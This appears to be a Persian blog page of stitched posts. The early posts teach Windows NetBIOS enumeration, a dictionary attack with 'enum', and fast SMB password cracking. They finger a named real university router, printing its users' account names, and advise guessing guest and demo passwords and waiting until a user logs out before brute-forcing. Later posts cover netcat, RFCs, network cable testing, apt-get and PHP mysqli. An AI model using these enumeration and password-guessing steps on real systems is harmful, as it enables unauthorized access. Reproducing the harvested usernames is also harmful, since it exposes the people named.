Built-in account for guest access to the computer/domain - Account is: Disabled - User can change password: No - Account is locked out: No - Password never expires: Yes - The account is: Normal user - Logon script path: - Full name: - User comment: - Can log in from workstations: All - Last logon to this DC / computer: None - Last logon to this DC / computer: None - Account expires: Never - Max disk space: Unlimited - Failed logins in a row to this DC / computer: 0 - Path to user profile: - Password has expired: No (This account is the built-in guest account) * TEST - Password age: 680 days - Privilege level: User - Home directory: - Home directory mapped as: - Comment: - Account is: Enabled - User can change password: Yes - Account is locked out: No - Password never expires: No - The account is: Normal user - Logon script path: - Full name: - User comment: - Can log in from workstations: All - Last logon to this DC / computer: None - Last logon to this DC / computer: None - Account expires: Never - Max disk space: Unlimited - Failed logins in a row to this DC / computer: 0 - Path to user profile: - Password has expired: Yes WORKSTATION TRUST ACCOUNTS: INTERDOMAIN TRUST ACCOUNTS: SERVER TRUST ACCOUNTS: SHARES: * ADMIN$ - Type: Special share reserved for IPC or administrative share - Remark: Remote Admin * IPC$ - Type: Unknown - Remark: Remote IPC * C$ - Type: Special share reserved for IPC or administrative share - Remark: Default share بعدا سعي خواهم کرد که در مورد تک تک اينها بحث کنم براتون. ولي به عنوان مثال در آخرها ميتونين، share ها رو ببينيد. enum -P xxx.xxx.xxx.xxx و جواب ميشنوم: server: xxx.xxx.xxx.xxx setting up session... success. password policy: min length: none min age: none max age: 42 days lockout threshold: none lockout duration: 30 mins lockout reset: 30 mins cleaning up... success. خودتون که دارين ميبينين! enum -D -f "theargon.lst" -u "Ali" xxx.xxx.xxx.xxx اينقدر که از enum تعريف کردم ديگه بسه! مشکلي که enum راجع به کرک پسورد داره اينه که خيلي کند کار ميکنه. ممکنه ساعتها وقت لازم باشه. راهحل چيه؟ - راه حل براي سرعت بخشيدن کرک کردن پسورد NetBIOS راهحل اينه که اصلا از enum استفاده نکنيد. براي کرک پسورد NetBIOS سعي کنيد از نرمافزار SMB Auditing Tool استفاده کنيد. در عرض چند دقيقه کار تموم ميشه! دليلش هم اينه که اين نرمافزار از يک bug استفاده ميکنه که اجازه ميده تعداد زيادي پسورد رو در يک لحظه تست کنيد. اينم بگم که اين نرمافزار مخصوص سيستمعامل لينوکس و يونيکسه |
||||||||||||
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 14:7 توسط رضا |
|
||||||||||||
|
پورت ۸۰ چيست؟ telnet www.hotmail.com 80 پس اول بايد يکی از دستورات بالا را استفاده کنيم. من هميشه توصيهام استفاده از nc بوده و خواهد بود. HTTP/1.0 302 Moved Temporarily
nc -v www.far30.com 80 < ali.txt که همان کارهای بالايی را انجام ميده. GET /startup/index.html HTTP/1.0 بعد دو تا Enter ميزنيم. nc -v www.site.com 80 > index.html (اين کاري که کرديم با موردي که در بالا نوشتيم فرق ميکنه! در بالا دستورات GET رو تو يه فايل مينوشتيم و ميفرستاديم که اجرا بشه ولي الان داريم نتايجي که بر ميگرده رو در يک فايل ذخيره ميکنيم!) ميشه اين دوتا رو ترکيب کرد مثلا نوشت: nc -v www.site.com 80 < dastoorat.txt > index.html |
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 2:58 توسط رضا |
|
|
RFC چيست؟ http://www.ietf.org/rfc/xxxxxxx.txt که بهجای xxxxxxx نام rfc موردنظر را مینویسيم. مثلا برای دسترسی به rfc791 بايد آدرس را به صورت زير تايپ کنيم: http://www.ietf.org/rfc/rfc791.txt - ليست مشهورترين RFCها +General Information |
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 2:51 توسط رضا |
|
|
پورت ۷۹ چيست؟ telnet router2.iums.ac.ir 79 nc -v router2.iums.ac.ir 79 finger .@router2.iums.ac.ir دقت کنيد که در دو دستور اول شماره پورت مشخص شده ولي دستور آخري نه، چون دستور finger فقط براي همينکار استفاده ميشه و نميتوان باهاش با پورت ديگهای ارتباط برقرار کرد. ضمنا به ساختار دستور آخر توجه کنيد. بعد از اجرای دستور، جواب ميشنوم: Line User Host(s) Idle Location 33 tty 33 whgh Async interface 0 34 tty 34 najahan Async interface 0 35 tty 35 sadf Async interface 0 36 tty 36 abokho Async interface 0 38 tty 38 whgh Async interface 0 39 tty 39 bzamani Async interface 0 40 tty 40 saeedmah Async interface 0 41 tty 41 mfaizi Async interface 0 42 tty 42 gourabi Async interface 0 43 tty 43 farhadz Async interface 0 44 tty 44 arbks Async interface 0 45 tty 45 mhalavi Async interface 0 46 tty 46 farhood Async interface 0 47 tty 47 staavoni Async interface 0 48 tty 48 whgh Async interface 0 * 66 vty 0 idle 0 217.218.84.58 Interface User Mode Idle Peer Address - اين اطلاعات به چه دردي ميخورد؟ اول اينو بگم که finger کردن، جزئي از مراحل Enumeration است (البته در حالت کاربرد legal يا قانوني). منظور از عبارت Enumeration يا به طور خلاصه Enum، پيدا کردن ليست کاربران است. + فرض کنيد ميخواهيد يک ليست از پسوردها را تست کنيد تا اينکه يکي شانسي درست در بياد (درست مثل دزدها که يه سري کليد را تست ميکنن که يکي به قفل بخوره و باز کنه!) حالا سوال اينه که اين پسوردها رو برای چه username ي تست ميکنيد؟ جواب، username هايي است که با Enumeration به دست اومده است. پس اول با Enumeration يه ليست پيدا ميکنيد و بعد تعداد زيادی پسورد رو روش تست ميکنيد (روش اين کارو بعدا ميگم). + کاربرد بعدی finger در رابطه با يک سري اکانتهاي خاص است. من هميشه وقتي به يک اکانت به اسم guest برخورد ميکنم، هميشه پسوردهای guest يا libguest يا myguest و ... رو تست ميکنم که گاهي جواب ميده. همينطور در مورد اکانتي به اسم demo پسورد demo را تست ميکنم و ... معمولا موسسات بزرگ پر است از اين username هاي عمومي که حدس زدن پسورد مربوطه کار مشکلي نيست. + گفتم که بعضي سرورهاي finger نام و نامخانوادگي افراد را هم برايمان ميفرستند. چون بعضي از افراد متاسفانه يا خوشبختانه از اين اطلاعات براي پسوردشون استفاده ميکنند، ميتونه مفيد باشه. + يک کاربرد ديگه و البته بسيار مهم موقعي است که مثلا ميخواهيد يک سري پسورد رو روي يک اکانت خاص تست کنيد. من هميشه اول يک finger ميکنم که مطمئن بشم که فرد در حال حاضر login نکرده باشد و بعد اين کار رو شروع ميکنم ( يعني انقدر صبر ميکنم که ديگه آن اسم خاص در finger نمايش داده نشه يعني طرف مقابل logout کرده باشد!) + بازم يه کاربردهاي مهم ديگه هست که الان بهتون نميگم تا تو خماريش بمونين ! شوخي کردم، وقتي بحث پورتها تموم شد و رسيديم به کاربردهاي غير معمول اين پورتها، براتون حتما ميگم. |
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 2:49 توسط رضا |
|
|
بررسي فعاليت كلي Segment ها اگر ترافيك شبكه در جريان باشد. LinkRunner آن را به صورت نوارهايي روي صفحه نمايش خودش نشان مي دهد. اگر مي خواهيد شبكه اي را آزمايش كنيد كه در آن به جاي سوييچ از هاب استفاده شده است, آنگاه اين شبكه از نظر حجم ترافيك, شبيه شبكه اي خواهد بود كه در حالت HalfDuplex كار مي كند. شبكه اترنت HalfDuplex (يا اصطلاحاً يك طرفه) به تعداد ايستگاههايي كه به طور همزمان مي توانند داده ها را ارسال كنند, محدود است و همچنين اندازه frame هاي اين شبكه نيز محدود خواهند بود و احتمالاً مي دانيد كه اگر تعداد زيادي از ايستگاهها به طور همزمان شروع به تبادل داده بنمايند, به علت پديد آمدن مكرر پديده تصادم يا Collision , كار آيي كل شبكه به شدت افت خواهد كرد. البته بروز تعداد متعادلي پديده تصادم در شبكه هاي اترنت Half Duplex امري طبيعي است وليكن هنگامي كه تعداد اين تصادم ها رو به افزايش مي گذارد, ترافيك شبكه نيز بالا مي رود و بالا رفتن ترافيك شبكه كه به علت ارسال مجدد پكت ها مي باشد, افت كيفي شبكه را به دنبال دارد. در چنين شبكه اي منحني كارآيي شبكه به يك باره سقوط مي كند و نحوه تغيير اين منحني به تعداد فريم هاي ارسالي , تعداد تصادم ها و تعداد پكت هايي كه به ارسال مجدد نياز دارد, بستگي دارد. با كاهش كارآيي شبكه ,كار كردن براي كاربران شبكه مشكل مي شود و انتقال داده ها نيز با وقفه و كندي صورت مي گيرد. براي انجام رفع فوق, شناخت قطعات يا Segment هاي شبكه و بررسي ترافيك آن ها ضروري است. Link Runner براي انجام اين تست ها , ابزاري مناست است. استفاده از DHCP به عنوان ابزار تشخيص دهنده اگر لينك شبكه برقرار باشد و به آزمونهاي اوليه پاسخ دهد, در نتيجه كاربر مي تواند آزمايشهايي را با ping انجام دهد. اگر از Link Runner استفاده مي كنيد, اين دستگاه در اينجا سعي مي كند كه ابتدا يك IP Address از سرور DHCP شبكه به دست بياورد. DHCP در واقع يكي از معمولترين روشهاي مبتني بر انتشار (Broadcast) است. به طور معمول, براي هر subnet, يك سرور DHCP مجزا نياز است(كه اين امر پر هزينه است و از نظر مديريت نيز مشكل مي باشد ) و يا اينكه DHCP رله كننده پراكسي هايي است كه وظيفه نقل وانتقال در خواست ها را بين كلاينت ها وسرورها برعهده دارند( هنگامي كه كلاينت ها و سرورها به طور فيزيكي در يك subnet قرار ندارند). اين انتشار جهت دار مي تواند راهنماي خوبي براي اطلاع از اوضاع ترافيك شبكه باشد. عدم مؤفقيت هر كلاينت يا Link Runner در اتصال خودكار به DHCP مي تواند نشانه اي از بروز مشكل در سيستم رله كننده DHCP باشد. DHCP در اغلب شبكه هاي امروزي وجود دارد و دستگاه نيز مي تواند با پيكر بندي IP دستي يا ايستا نيز كار كنند. پروسه كاري نيز شامل به دست آوردن يك نشانه DHCP براي سنجش صحت كار كرد كابل هاي محلي, هاب محلي, پورت سوييچ و نهايتاً كل زير ساخت شبكه باشد. Ping محلي Ping , پركاربردترين ابزار عيب يابي شبكه ها است و تقريباًهمه كساني كه درگير رفع اشكال شبكه هستند با اين دستور و نحوه استفاده از آن آشنا مي باشند, اما چرا اين ابزار ساده, اين قدر مفيد است؟ ping را مي توان به دستگاه سونار زيردريايي ها تشبيه كرد كه از آن به منظور شناخت جغرافياي عمق اقيانوسها استفاده مي شود. Ping سيگنالي را سمت مقصد ارسال مي كند (كه به طور معمول يك فريم «Echo Request » مربوط به ICMP است) تا در مقصد نيز يك «Echo Request » در پاسخ به آن در خواست توليد شود تا به در خواست كننده بگويد كه سيستمي در اينجا وجود دارد و اين كه رفت و برگشت اين پيام چه قدر به طول انجاميده است. وقتي كه LinkRunner يك آدرس سرور DHCP به دست مي آورد,بلافاصله با سرور DNC و روتر پيش فرض آزمايش, ping را انجام مي دهد كه آدرس آنها را قبلاً از طريق DHCP به دست آورده است. Ping كردن مؤفقيت آميز سرويس هاي اصلي شبكه نظير Web applicationها و User authentication نشان خواهد داد كه سرويس ها به تنهايي از محل كلاينت ها قابل دسترسي هستند. در واقع مؤفقيت انجام يك ping ساده نشان مي دهد كه ارتباط مستقيم يا End-to-End بين دو دستگاه درلايه 3 مشكلي ندارد. انجام كامل اين عمل در شبكه مي تواند نمايي كامل از وضعيت شبكه را به دست بدهد. البته درخواست هاي ICMP در ترافيك داده ها اولويت پاييني دارند و اگر روتري در مسير دستگاههاي پر كاربرد باشد , ممكن است آن دستگاهها را به موقع ارسال ننمايد. سرورهاي خارج از شبكه يك سازمان بزرگ نيز مي تواند از جانب كلاينت ها به عنوان مقصد Ping براي بررسي صحت ارتباط شبكه WAN مورد استفاده قرار گيرند. اگر سرورهاي سمت داخلي فايروال به ping پاسخ دهند اما سرورهايي كه پشت فايروال هستند, تقاضاي ping را ناديده بگيرند, تكنسين هاي شبكه را به اين نتيجه مي رسانند كه بايد نگاهي به مسيرياب ها يا ساير ادوات مربوط به زير ساخت شبكه بيندازند و اشكال را در آنها جستجو كنند اگر نتيجه برعكس باشد يعني سرورهاي پشت فايروال به ping پاسخ مي دهند ولي سرورهاي سمت داخل, تقاضاي ping را ناديده مي گيرند, آنگاه تكنسين شبكه بايد در پي پاسخ اين سؤال باشد كه چرا بعضي از بخشهاي شبكه در دسترس نيستند. اگر حالت سوم روي دهد يعني همه سرورهاي دو طرف فايروال به ping پاسخ دهند, اما كلاينت ها به درستي پاسخ نمي دهند , نتيجه مي گيريم كه در نقل و انتقال فيزيكي داده ها اشكالي وجود دارد. قدم بعدي چيست؟ اگرنتوانستيم مشكل پيش آمده را به درستي تشخيص دهيم يا از طريق «آزمون مستقيم» آن را حل كرديم, مي توانيم به دو نتيجه مشخص برسيم: • اگر آزمايش ها نشان داده كه امكان برقراري يك لينك اترنت وجود ندارد, آنگاه بايد به طور جدي به بررسي كابل شبكه بپردازيم. • اگر همه «آزمون مستقيم» مؤفقيت آميز بودند, لينك ها به درستي نشان داده مي شدند و سطح ترافيك Segment ها مطلوب بود, آدرس IP سرور DHCP پيدا شد و ping به سرورهاي اصلي شبكه جواب داد, آن گاه نتيجه مي گيريم كه بايد مشكل را در جاهاي ديگري از شبكه جستجو كنيم و به سراغ مدير شبكه كه account كاربران را در اختيار دارد برويم يا از متخصص ديگري كه اطلاعات خوبي را درباره پيكر بندي ايستگاههاي كاري دارد, كمك بگيريم. تست كابل اولين كابلي كه بايد سلامت آن مورد بررسي قرار گيرد Patch Cable است كه ارتباط ايستگاه كاري يا هرگونه تجهيزات شبكه را با پريز ديواري برقرار مي كند. براي اين كار, يك طرف Patch Cable را به پورت شبكه دستگاه Link Runner و طرف ديگر آن را به پورت Wiremap متصل مي كنيم تا سلامت آن بررسي شود. قدم بعدي دنبال كردن مسير كابل ها براي يافتن ,ايراد است. در اين وضعيت به سوييچ و رك مي رسيم. اگر رك بزرگ و شلوغ باشد, معمولاً يافتن كابل مورد نظر در آن مشكل است خصوصاً اگر به درستي نيز علامت گذاري نشده باشند. براي رفع اين مشكل, دستگاه Link Runner دو گزينه دارد. اول آنكه دستگاه يك آواي صوتي را روي كابل منتشر ميكند.اين صدا با tone probe قابل شنيدن است. از اين طريق مي توان كابل مرتبط را يافت و به خصوص براي موقعي مناسب است كه نمي دانيم كابل به سوييچ متصل است يا خير. به غير از اين وقتي طرف دورتر كابل مشخص است, آداپتور Wiremap دستگاه مي تواند براي بررسي سلامت كابل افقي و نحوه اتصالات آن مورد استفاده قرار گيرد. در همين حال, دستگاه اقدام به ارسال سيگنال نيز ميكند. در اين صورت چراغ مربوط به آن پورت روي سوييچ, هر 3 ثانيه يك بار چشمك مي زند و به اين طريق مي توان فهميد كه كدام پورت از سوييچ به كابل مورد نظر ما متصل است. وقتي محل پورت مشخص شد, كابل را مي توان روي پورت بدون استفاده ديگري تست كرد. اگر اشكال از پورت روي سوييچ باشد, ممكن است با تغيير كابل از پورتي به پورت ديگر , مشكل شبكه حل شود. اگرپورت هاي هاب يا سوييچ نيز سالم باشند, آنگاه بايد به سراغ ايستگاههاي كاري رفت, با اتصال مستقيم Link Runner به كارت شبكه مي توان به درستي كاركرد آن را بررسي كرد. Link Runner با اتصال به كارت ,لينكي را برقرار مي كند و نوع و سرعت لينك را بررسي و گزارش مي كند.اگر كارت شبكه سالم باشد , بايد ايستگاه كاري را بوت كرد و از خط فرمان وبا استفاده از دستوري مانند ping , اين امكان را فراهم كرد كه Link Runner ترافيك شبكه را مشاهده كند. اگر دستگاه وجود هيچگونه ترافيكي را گزارش نكرد بايد به تنظيمات خود PC دقت كرد كه ممكن است اشكال در آنجا نهفته باشد. اگر گزارش لينك و ترافيك همه چيز را به خوبي نشان دهد, آن گاه بايد به تنظيمات شبكه اي PC مشكوك شد. تست پيشرفته تر اگر ايستگاه كاري مي تواند با شبكه لينك برقرار كند, بايد بررسي كنيد كه آدرس دهي ايستگاه كاري متناسب با subnet مرتبط با آن است يا خير. سپس بررسي اينكه از protocol stack درستي استفاده مي كند و به درستي نيز پيكربندي شده است يا نه. سپس بايد همه اجزاي برنامه هاي مورد نياز را بررسي نمود. اين كار معمولاً از طريق حذف كردن پروتكل ها يا حذف تنظيمات كارت شبكه و نصب مجدد آنها صورت مي گيرد تا از صحت كاركرد آنها اطمينان حاصل شود. اگر همه اين موارد نيز به درستي كار ميكنند, احتمالاً رفع مشكل به دانش تخصصي بيشتر و پيشرفته تري نياز دارد. نتيجه گيري هر كاري ابزار مناسب خود را طلب مي كند. Link Runner ابزاري است كه بايد همواره همراه تكنسين شبكه باشد و با آن مجموعه آزمونهايي كه گفتيم را انجام هد. رفع مشكل روز مره كاربران شبكه كه مي تواند از كار افتادن ايستگاههاي كاري آنها يا اختلال در كارهايشان, صدمات و خساراتي را به شركت يا سازمان وارد كند, گاهي اوقات كاري ساده اما حساس است كه با داشتن ابزارهاي مناسب , اين مسير كوتاه تر و كم هزينه تر خواهد شد
|
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 2:46 توسط رضا |
|
|
|
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 2:45 توسط رضا |
|
|
ویرایش لیستهای منبع (Source Lists) نکته: هنگامی که بستهای را به کمک apt-get نصب میکنید، ورودیهای موجود در لیستهای منبع به ترتیب قرارگیری در فایل لیست، بررسی میشوند. امکان ویرایش منابع به سه صورت وجود دارد: استفاده از ویرایشگر متنی برای اضافه کردن منبع جدید اضافه کردن یک دیسک جدید دبیان در لیست منابع مدیریت بستههای نرمافزاری به کمک دستور dpkg گزینههای دستور dpkg آرگومانهای دستور dpkg عملیات دستور dpkg مثالهای عملی # vi /etc/spt/sources.list در صورتی که اتصال شما به اینترنت ضعیف است (مانند اتصال مودم) میتوانید تمام خطوطی را که بستهها را از منابع اینترنتی منتقل خواهند نمود، بصورت Comment مشخص نمایید. (با قرار دادن علامت # در جلوی هر خط). آنها را حذف نکنید. ممکن است بعدا به آنها نیاز پیدا کنید. سپس بررسی نمایید که آیا خطوطی که با deb cdrom شروع میشوند در فایل وجود دارند یا خیر؟ در صورتی که وجود دارد و تمام CD های موجود شما را پوشش داده است، این به این معنی است که شما نیازی به اضافه کردن CD ندارید. در غیر این صورت، تغییرات را ذخیره نموده و از vi خارج شوید. اکنون باید CD های خود را به apt معرفی نمایید. برای این کار کافی است برای هر CD دستور زیر را یکبار تایپ و اجرا نمایید: # apt-cdrom add با این کار CD ها به برنامه apt اضافه شده و میتوانید با خیال راحت از apt-get استفاده نمایید. در صورتی که پس از این کار فایل sources.list را بررسی نمایید، خواهید دید که خطوط deb cdrom در آن اضافه شدهاند. اکنون چند مثال برای حذف و برداشتن بستهها ذکر میکنم. # apt-get install mysql-server بزرگترین مزیت apt-get در این است که تمامی فایلها و وابستگیهای نرمافزاری بسته مشخص شده نیز نصب خواهند شدو عملیات نصب بدون مشکل وابستگیها به اتمام خواهد رسید. مثلا دستوری که در مثال بالا ارائه شد، mysql-client، mysql-common و تمام بستههای مورد نیاز را نیز نصب خواهد نمود. دستور dpkg را هنگامی استفاده مینمایید که یک بسته منفرد deb از اینترنت دریافت کردهاید و مایلید آنرا در سیستمتان نصب نمایید: # dpkg -i php4_4.3.2-i386.deb برای حذف یک بسته میتوانید دستور زیر را وارد نمایید: # apt-get remove mysql-server و یا: # dpkg -r php4 در صورتی که دیسکهای نسخه جدیدتر بدستتان رسید، میتوانید سیستم دبیان یا مبتنی بر دبیان (مانند لیبرانت یا Knoppix) خود را با استفاده از آن به نسخه جدیدتر ارتقا دهید. برای این کار طبق روال گذشته CD های جدید برا به apt اضافه نموده و دستورات زیر را صادر نمایید: # apt-get update |
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 2:44 توسط رضا |
|
|
- ترمينولوژی (اصطلاحشناسی) 0 <= O
}{3 $|>34|< z توصيه من اينه که از اين معادلها تا جايی که میتونيد استفاده نکنيد. فقط ياد بگيريد که کم نياريد. |
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 2:30 توسط رضا |
|
|
يكي از ويژگي هاي جالبي كه در php 5 ارائه شده است يك Extension جديد به نام ext/mysqli مي باشد كه همانند ext/mysql سابق به عنوان يك رابط براي كار با پايگاه داده mysql از آن استفاده مي شود. برای برنامه های کاربردی در مقیاس بزرگتر ماژول جدید MySQLi به کاربران اجازه می دهد که از ویژگی های جدید MySQL 4.1 در برنامه های خود استفاده کنند که بازدهی بیشتری را نسبت به نسخه های قبلی MySQL فراهم می کند.
|